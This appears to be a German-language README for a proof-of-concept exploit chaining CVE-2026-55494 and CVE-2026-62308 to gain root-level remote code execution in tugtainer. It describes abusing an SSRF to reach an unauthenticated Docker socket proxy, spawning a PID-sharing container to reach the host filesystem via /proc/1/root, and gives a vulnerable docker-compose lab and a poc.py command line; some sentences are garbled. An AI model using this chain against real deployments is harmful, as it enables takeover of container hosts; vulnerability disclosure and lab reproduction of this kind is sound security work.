
Eine Kombination aus CVE-2026-55494 und CVE-2026-62308, um Root-Privileg-RCE in tugtainer zu erlangen.
Die RCE wird durch Ausnutzen von 2 Schwachstellen erreicht
Kurz gesagt, eine SSRF-Schwachstelle wird ausgenutzt, um einen nicht authentifizierten Dienst im internen Netzwerk aufzurufen, um einen Docker-Container zu erstellen, der dieselbe PID wie Tugtainer teilt, wodurch das Dateisystem des Tugtainer-Docker-Containers über /proc/1/root zugänglich wird, und da der erstellte Docker-Container Root-Rechte besitzt, hat man technisch gesehen Root-Zugriff auf das Tugtainer-Docker-System
docker-compose.yml in diesem Repository aus, oder kopieren Sie Folgendes und fügen Sie es einnetworks:
tugtainer:
driver: bridge
services:
socket-proxy:
image: lscr.io/linuxserver/socket-proxy:latest
container_name: socket-proxy
environment:
CONTAINERS: 1
EVENTS: 1
IMAGES: 1
INFO: 1
LOG_LEVEL: warning
PING: 1
NETWORKS: 1
POST: 1
TZ: Europe/Moscow
VERSION: 1
volumes:
- /var/run/docker.sock:/var/run/docker.sock:ro
restart: unless-stopped
read_only: true
tmpfs:
- /run
networks:
- tugtainer
labels:
dev.quenary.tugtainer.protected: True
app:
depends_on:
- socket-proxy
container_name: tugtainer
image: ghcr.io/quenary/tugtainer:1.30.2
tmpfs:
- /tugtainer:size=100m
restart: unless-stopped
environment:
DOCKER_HOST: tcp://socket-proxy:2375
networks:
- tugtainer
ports:
- '9412:80'
labels:
dev.quenary.tugtainer.protected: True
poc.py wie folgt aus$ python poc.py <URL> <PASSWORD> <COMMAND>
$ python poc.py http://localhost:9412 Admin123! "whoami > /proc/1/root/tmp/pwned"
pwned im Tugtainer-Docker-Container unter /tmp erstellen